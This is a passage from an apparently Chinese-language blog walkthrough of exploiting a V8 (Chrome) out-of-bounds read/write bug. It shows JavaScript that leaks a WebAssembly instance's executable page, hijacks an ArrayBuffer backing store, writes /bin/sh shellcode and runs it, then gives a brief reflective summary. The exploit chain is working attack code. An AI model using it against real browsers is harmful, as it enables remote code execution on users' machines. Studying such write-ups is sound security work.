var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;
%DebugPrint(obj_array);
%DebugPrint(float_array);
%DebugPrint(fake_obj);
%DebugPrint(f);
console.log("float array map: " + hex(f2i(float_array_map)), ", obj array map: " + hex(f2i(obj_array_map)));
var wasm_addr = addressOf(f);
var shared_info_addr = read(i2f(f2i(wasm_addr) + 0x18n));
var data_addr = read(i2f(f2i(shared_info_addr) + 0x8n));
var instance_addr = read(i2f(f2i(data_addr) + 0x10n));
var shellcode_addr = read(i2f(f2i(instance_addr) + 0x88n));
console.log("wasm_addr: " + hex(f2i(wasm_addr)));
console.log("shared_info_addr: " + hex(f2i(shared_info_addr)));
console.log("data_addr: " + hex(f2i(data_addr)));
console.log("instance_addr: " + hex(f2i(instance_addr)));
console.log("shellcode_addr: " + hex(f2i(shellcode_addr)));
var shellcode=[
0x6e69622fbb48f631n,
0x5f54535668732f2fn,
0x00050fd231583b6an,
];
var data_buf = new ArrayBuffer(24);
var data_view = new DataView(data_buf);
var buf_backing_store_addr = i2f(f2i(addressOf(data_buf)) + 0x20n);
write(buf_backing_store_addr, shellcode_addr);
for (var i = 0; i < shellcode.length; i++) {
data_view.setBigUint64(8 * i, shellcode[i], true);
}
f();
%SystemBreak();
运行结果:
总结
总的看一遍下来,还是挺好玩的,不过没有读过v8源码,有点地方还是不甚清晰。
相比PHP的UAF玩法,chrome的越界读写漏洞操作起来更简单一些,理解难度也要低一些。